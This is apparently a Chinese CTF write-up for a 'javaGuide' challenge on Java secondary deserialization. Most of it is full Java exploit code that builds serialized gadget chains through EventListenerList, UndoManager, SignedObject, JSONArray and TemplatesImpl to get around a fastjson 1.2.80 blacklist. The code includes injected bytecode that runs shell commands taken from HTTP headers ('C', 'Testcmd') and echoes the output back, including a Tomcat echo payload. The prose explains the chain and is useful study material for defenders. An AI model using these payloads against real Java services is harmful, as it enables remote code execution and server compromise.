javaGuide

先试了试别的师傅的wp,学习了一下二次反序列化

https://www.cnblogs.com/LAMENTXU/articles/18705991

https://xz.aliyun.com/news/15977

https://tttang.com/archive/1701/

原版payload

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
package org.example.fj2.num3;

import com.alibaba.fastjson.JSONArray;
import javax.swing.event.EventListenerList;
import javax.swing.undo.UndoManager;
import javax.xml.bind.DatatypeConverter;
import java.io.*;
import java.lang.reflect.Field;
import java.security.*;
import java.util.HashMap;
import java.util.Vector;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xpath.internal.objects.XString;
import javassist.ClassPool;
import javassist.CtClass;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import javassist.CtNewConstructor;
import org.springframework.aop.target.HotSwappableTargetSource;
public class GG1 {
public static void setValue(Object obj, String name, Object value) throws Exception{
Field field = obj.getClass().getDeclaredField(name);
field.setAccessible(true);
field.set(obj, value);
}

public static byte[] genPayload(String cmd) throws Exception{
ClassPool classPool = ClassPool.getDefault();
CtClass clazz = classPool.makeClass("A");
if ((clazz.getDeclaredConstructors()).length != 0) {
clazz.removeConstructor(clazz.getDeclaredConstructors()[0]);
} clazz.addConstructor(CtNewConstructor.make("public B() throws Exception {\n" +
" org.springframework.web.context.request.RequestAttributes requestAttributes = org.springframework.web.context.request.RequestContextHolder.getRequestAttributes();\n" +
" javax.servlet.http.HttpServletRequest httprequest = ((org.springframework.web.context.request.ServletRequestAttributes) requestAttributes).getRequest();\n" +
" javax.servlet.http.HttpServletResponse httpresponse = ((org.springframework.web.context.request.ServletRequestAttributes) requestAttributes).getResponse();\n" +
" String[] cmd = new String[]{\"sh\", \"-c\", httprequest.getHeader(\"C\")};\n" +
" byte[] result = new java.util.Scanner(new ProcessBuilder(cmd).start().getInputStream()).useDelimiter(\"\\\\A\").next().getBytes();\n" +
" httpresponse.getWriter().write(new String(result));\n" +
" httpresponse.getWriter().flush();\n" +
" httpresponse.getWriter().close();\n" +
" }", clazz));
clazz.getClassFile().setMajorVersion(50);
CtClass superClass = classPool.get(AbstractTranslet.class.getName());
clazz.setSuperclass(superClass);
return clazz.toBytecode();
}
public static Field getField ( final Class<?> clazz, final String fieldName ) throws Exception {
try {
Field field = clazz.getDeclaredField(fieldName);
if ( field != null )
field.setAccessible(true);
else if ( clazz.getSuperclass() != null )
field = getField(clazz.getSuperclass(), fieldName);

return field;
}
catch ( NoSuchFieldException e ) {
if ( !clazz.getSuperclass().equals(Object.class) ) {
return getField(clazz.getSuperclass(), fieldName);
}
throw e;
}
}
public static Object getFieldValue(final Object obj, final String fieldName) throws Exception {
final Field field = getField(obj.getClass(), fieldName);
return field.get(obj);
}
public static void main(String[] args) throws Exception{


TemplatesImpl templates = TemplatesImpl.class.newInstance();
setValue(templates, "_bytecodes", new byte[][]{genPayload("whoami")});
setValue(templates, "_name", "1");
setValue(templates, "_tfactory", null);



JSONArray jsonArray = new JSONArray();
jsonArray.add(templates);

HotSwappableTargetSource h1 = new HotSwappableTargetSource(jsonArray);
HotSwappableTargetSource h2 = new HotSwappableTargetSource(new Object());


HashMap<Object,Object> hashMap = new HashMap<>();
hashMap.put(h1,h1);
hashMap.put(h2,h2);
Class clazz=h2.getClass();
Field transformerdeclaredField = clazz.getDeclaredField("target");
transformerdeclaredField.setAccessible(true);
transformerdeclaredField.set(h2,new XString("xxx"));

HashMap<Object,Object> hashMap1 = new HashMap<>();
hashMap1.put(templates,hashMap);

KeyPairGenerator keyPairGenerator;
keyPairGenerator = KeyPairGenerator.getInstance("DSA");
keyPairGenerator.initialize(1024);
KeyPair keyPair = keyPairGenerator.genKeyPair();
PrivateKey privateKey = keyPair.getPrivate();
Signature signingEngine = Signature.getInstance("DSA");
SignedObject signedObject = new SignedObject(hashMap1,privateKey,signingEngine);

JSONArray jsonArray1 = new JSONArray();
jsonArray1.add(signedObject);

EventListenerList eventListenerList = new EventListenerList();
UndoManager undoManager = new UndoManager();
Vector vector = (Vector) getFieldValue(undoManager, "edits");
vector.add(jsonArray1);
setValue(eventListenerList, "listenerList", new Object[]{InternalError.class, undoManager});


HashMap hashMap2 = new HashMap();
hashMap2.put(vector,eventListenerList);


ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream);
objectOutputStream.writeObject(hashMap2);
objectOutputStream.close();

byte [] bytes=byteArrayOutputStream.toByteArray();
String base64encode= DatatypeConverter.printBase64Binary(bytes);
BufferedWriter bufferedWriter=new BufferedWriter(new FileWriter("Ser3.bin"));
bufferedWriter.write(base64encode);
bufferedWriter.close();


// ObjectInputStream objectInputStream = new ObjectInputStream(new ByteArrayInputStream(byteArrayOutputStream.toByteArray()));
// objectInputStream.readObject();



}
}

一命通天版payload

https://tttang.com/archive/1701/

我打算就是按照一命通天的那个搞个像是拆分的可组装的代码工具

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
package org.example.fj2.test;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import com.sun.syndication.feed.impl.ObjectBean;
import com.sun.syndication.feed.impl.ToStringBean;

import javax.xml.transform.Templates;
import java.security.KeyPair;
import java.security.KeyPairGenerator;
import java.security.Signature;
import java.security.SignedObject;
import java.util.HashMap;
import java.util.Hashtable;
import static org.example.fj2.test.Tool.*;
import com.alibaba.fastjson.JSONArray;
import javax.swing.event.EventListenerList;
import javax.swing.undo.UndoManager;
import javax.xml.bind.DatatypeConverter;
import java.io.*;
import java.lang.reflect.Field;
import java.security.*;
import java.util.HashMap;
import java.util.Vector;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xpath.internal.objects.XString;
import javassist.ClassPool;
import javassist.CtClass;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import javassist.CtNewConstructor;
import org.springframework.aop.target.HotSwappableTargetSource;

public class fjgg {
public static void main(String[] args) throws Exception{

TemplatesImpl obj = new TemplatesImpl();
setFieldValue(obj, "_bytecodes",
new byte[][]{genPayload("whoami")});
setFieldValue(obj, "_name", "1");
setFieldValue(obj, "_tfactory", null);
//HashMap#readObject -> HotSwappableTargetSource#equals -> XString#equals -> toString
HashMap hashMap1 = getPayload(Templates.class, obj);



KeyPairGenerator kpg = KeyPairGenerator.getInstance("DSA");
kpg.initialize(1024);
KeyPair kp = kpg.generateKeyPair();
SignedObject signedObject = new SignedObject(hashMap1, kp.getPrivate(), Signature.getInstance("DSA"));

JSONArray jsonArray1 = new JSONArray();
jsonArray1.add(signedObject);

EventListenerList eventListenerList = new EventListenerList();
UndoManager undoManager = new UndoManager();
Vector vector = (Vector) getFieldValue(undoManager, "edits");
vector.add(jsonArray1);
setFieldValue(eventListenerList, "listenerList", new Object[]{InternalError.class, undoManager});


HashMap hashMap2 = new HashMap();
hashMap2.put(vector,eventListenerList);

run(hashMap2, "debug", "object");

}
public static HashMap getPayload (Class clazz, Object obj) throws Exception{
JSONArray jsonArray = new JSONArray();
jsonArray.add(obj);
HotSwappableTargetSource h1 = new HotSwappableTargetSource(jsonArray);
HotSwappableTargetSource h2 = new HotSwappableTargetSource(new Object());

HashMap<Object,Object> hashMap = new HashMap<>();
hashMap.put(h1,h1);
hashMap.put(h2,h2);
Class clazz1=h2.getClass();
Field transformerdeclaredField = clazz1.getDeclaredField("target");
transformerdeclaredField.setAccessible(true);
transformerdeclaredField.set(h2,new XString("xxx"));

HashMap<Object,Object> hashMap1 = new HashMap<>();
hashMap1.put(obj,hashMap);
return hashMap1;
}
}

原版payload2

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
package org.example.fj2.num3;

import com.alibaba.fastjson.JSONArray;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.ClassPool;
import org.springframework.aop.framework.AdvisedSupport;

import javax.management.BadAttributeValueExpException;
import javax.swing.event.EventListenerList;
import javax.swing.undo.UndoManager;
import javax.xml.bind.DatatypeConverter;
import javax.xml.transform.Templates;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.security.KeyPair;
import java.security.KeyPairGenerator;
import java.security.Signature;
import java.security.SignedObject;
import java.util.ArrayList;
import java.util.HashMap;
import java.util.Vector;

//import static ysoserial.payloads.util.Reflections.getFieldValue;

//import static ysoserial.payloads.util.Reflections.setFieldValue;

public class exp2 {
public static Field getField ( final Class<?> clazz, final String fieldName ) throws Exception {
try {
Field field = clazz.getDeclaredField(fieldName);
if ( field != null )
field.setAccessible(true);
else if ( clazz.getSuperclass() != null )
field = getField(clazz.getSuperclass(), fieldName);

return field;
}
catch ( NoSuchFieldException e ) {
if ( !clazz.getSuperclass().equals(Object.class) ) {
return getField(clazz.getSuperclass(), fieldName);
}
throw e;
}
}
public static void setFieldValue(Object object, String field, Object arg) throws NoSuchFieldException, IllegalAccessException {
Field f = object.getClass().getDeclaredField(field);
f.setAccessible(true);
f.set(object, arg);
}
public static Object getFieldValue(final Object obj, final String fieldName) throws Exception {
final Field field = getField(obj.getClass(), fieldName);
return field.get(obj);
}

public static void main(String[] args) throws Exception {

Object template = makeTemplatesImplAopProxy();
JSONArray jsonArray = new JSONArray();
jsonArray.add(template);

BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(null);
setFieldValue(badAttributeValueExpException, "val", jsonArray);

HashMap hashMap = new HashMap();
hashMap.put(template, badAttributeValueExpException);

KeyPairGenerator kpg = KeyPairGenerator.getInstance("DSA");
kpg.initialize(1024);
KeyPair kp = kpg.generateKeyPair();
SignedObject signedObject = new SignedObject(hashMap, kp.getPrivate(), Signature.getInstance("DSA"));

ArrayList<Object> arrayList = new ArrayList<>();
arrayList.add(signedObject);

JSONArray jsonArray1 = new JSONArray();
jsonArray1.add(signedObject);

EventListenerList badAttributeValueExpException1 = new EventListenerList();
UndoManager manager = new UndoManager();
Vector vector = (Vector) getFieldValue(manager, "edits");
vector.add(jsonArray1);
setFieldValue(badAttributeValueExpException1, "listenerList", new Object[]{InternalError.class, manager});

arrayList.add(badAttributeValueExpException1);

ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(barr);
oos.writeObject(arrayList);
oos.close();
System.out.println(DatatypeConverter.printHexBinary(barr.toByteArray()));
System.out.println(java.util.Base64.getEncoder().encodeToString(barr.toByteArray()));
ObjectInputStream myObjectInputStream = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
myObjectInputStream.readObject();

}

public static Object makeTemplatesImplAopProxy() throws Exception {
AdvisedSupport advisedSupport = new AdvisedSupport();

TemplatesImpl templates = new TemplatesImpl();
setFieldValue(templates, "_bytecodes", new byte[][]{ClassPool.getDefault().get(TomcatEchoPayload.class.getName()).toBytecode()});
setFieldValue(templates, "_name", "TomcatEchoPayload");
setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());
advisedSupport.setTarget(templates);
Constructor constructor = Class.forName("org.springframework.aop.framework.JdkDynamicAopProxy").getConstructor(AdvisedSupport.class);
constructor.setAccessible(true);
InvocationHandler handler = (InvocationHandler) constructor.newInstance(advisedSupport);
Object proxy = Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(), new Class[]{Templates.class}, handler);
return proxy;
}
}


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
package org.example.fj2.num3;

import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;

import java.io.Serializable;

/**
* @author wh1t3P1g
* @since 2021/6/16
*/
public class TomcatEchoPayload extends AbstractTranslet implements Serializable {

public TomcatEchoPayload() throws Exception {
transletVersion = 101;
Object o;
Object resp;
String s;
boolean done = false;
Thread[] ts = (Thread[]) getFV(Thread.currentThread().getThreadGroup(), "threads");
for (int i = 0; i < ts.length; i++) {
Thread t = ts[i];
if (t == null) {
continue;
}
s = t.getName();
if (!s.contains("exec") && s.contains("http")) {
o = getFV(t, "target");
if (!(o instanceof Runnable)) {
continue;
}

try {
o = getFV(getFV(getFV(o, "this$0"), "handler"), "global");
} catch (Exception e) {
continue;
}

java.util.List ps = (java.util.List) getFV(o, "processors");
for (int j = 0; j < ps.size(); j++) {
Object p = ps.get(j);
o = getFV(p, "req");
resp = o.getClass().getMethod("getResponse", new Class[0]).invoke(o, new Object[0]);
s = (String) o.getClass().getMethod("getHeader", new Class[]{String.class}).invoke(o, new Object[]{"Testecho"});
if (s != null && !s.isEmpty()) {
resp.getClass().getMethod("setStatus", new Class[]{int.class}).invoke(resp, new Object[]{new Integer(200)});
resp.getClass().getMethod("addHeader", new Class[]{String.class, String.class}).invoke(resp, new Object[]{"Testecho", s});
done = true;
}
s = (String) o.getClass().getMethod("getHeader", new Class[]{String.class}).invoke(o, new Object[]{"Testcmd"});
if (s != null && !s.isEmpty()) {
resp.getClass().getMethod("setStatus", new Class[]{int.class}).invoke(resp, new Object[]{new Integer(200)});
String[] cmd = System.getProperty("os.name").toLowerCase().contains("window") ? new String[]{"cmd.exe", "/c", s} : new String[]{"/bin/sh", "-c", s};
writeBody(resp, new java.util.Scanner(new ProcessBuilder(cmd).start().getInputStream()).useDelimiter("\\A").next().getBytes());
done = true;
}
if ((s == null || s.isEmpty()) && done) {
writeBody(resp, System.getProperties().toString().getBytes());
}

if (done) {
break;
}
}
if (done) {
break;
}
}
}
}

private static void writeBody(Object resp, byte[] bs) throws Exception {
Object o;
Class clazz;
try {
clazz = Class.forName("org.apache.tomcat.util.buf.ByteChunk");
o = clazz.newInstance();
clazz.getDeclaredMethod("setBytes", new Class[]{byte[].class, int.class, int.class})
.invoke(o, new Object[]{bs, new Integer(0), new Integer(bs.length)});
resp.getClass().getMethod("doWrite", new Class[]{clazz}).invoke(resp, new Object[]{o});
} catch (ClassNotFoundException e) {
clazz = Class.forName("java.nio.ByteBuffer");
o = clazz.getDeclaredMethod("wrap", new Class[]{byte[].class}).invoke(clazz, new Object[]{bs});
resp.getClass().getMethod("doWrite", new Class[]{clazz}).invoke(resp, new Object[]{o});
} catch (NoSuchMethodException e) {
clazz = Class.forName("java.nio.ByteBuffer");
o = clazz.getDeclaredMethod("wrap", new Class[]{byte[].class}).invoke(clazz, new Object[]{bs});
resp.getClass().getMethod("doWrite", new Class[]{clazz}).invoke(resp, new Object[]{o});
}
}

private static Object getFV(Object o, String s) throws Exception {
java.lang.reflect.Field f = null;
Class clazz = o.getClass();
while (clazz != Object.class) {
try {
f = clazz.getDeclaredField(s);
break;
} catch (NoSuchFieldException e) {
clazz = clazz.getSuperclass();
}
}
if (f == null) {
throw new NoSuchFieldException(s);
}
f.setAccessible(true);
return f.get(o);
}



@Override
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {

}

@Override
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {

}
}


思路

法一

1
2
3
4
5
6
7
8
9
10
链子:hashMap2.readObject -> 
eventListenerList.readObject ->
UndoManager.toString ->
Vector.toString ->
JSONArray1.toString ->
SignedObject.getObject ->
hashMap1.readObject->
XString.equals ->
JSONArray.toString ->
TemplatesImpl.getOutputProperties

image-20250227120627117

反序列化入口直接给出,有过滤

1
com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;

fastjson 1.2.80高版本由此想到原生反序列化利用链,但是还有WAF限制需要寻找新的Gadget

用的HotSwappableTargetSource#equals-> toString

hashmap一句话

image-20250227161501813

EventListenerList触发toString

参考

参考

1
2
3
4
5
6
EventListenerList --> 

UndoManager#toString() -->
//该接口继承了java.util.EventListener

Vector#toString()

javax.swing.event.EventListenerList#readObject 方法中的 add 方法存在tostring的调用

image-20250227123819401

这里会对 l 进行一次强转,所以我们的 l 必须要实现 EventListener 接口

image-20250227124247931

找到javax.swing.undo.UndoManager#toString

该类实现了 UndoableEditListener 接口

而该接口继承了java.util.EventListener

image-20250227123516910

limit 与 indexOfNextAdd 都是int类型,那么就跟进到父类
javax.swing.undo.CompoundEdit#toString

image-20250227124829192

发现protected Vector<UndoableEdit> edits;,inProgress是boolean类型,那就用 Vector 类了,追踪发现

这里会调用到java.lang.StringBuilder#append

java.lang.String#valueOf

任意的tostring调用有了

image-20250227125412433

UndoManager 这个类,其 toString 方法会调用其 Vector 类型的 edit 变量的 toString 方法,从而触发 任意类的toString

jsonArray

参考

把val赋值为jsonArray的对象,那么就也可以调用JSON类的toString方法在Json这里就会触发fastjson的漏洞,触发get方法。

1
JSON::toString()->JSON::toJSONString()->JSONSerializer::write()->SerializeConfig::getObjectWriter()

image-20250227165718558

剩下的不弄了,搜搜源码就知道了

后半段仍为json触发TemplatesImpl利用链

1
2
3
JSONArray#toString ->
JSONArray#toJSONString ->
getter#toString

法二

包师傅的payload打的

参考

思路

还是这个省事点,一个顶Enventlisterlist的三个

image-20250227164840324

image-20250227163702492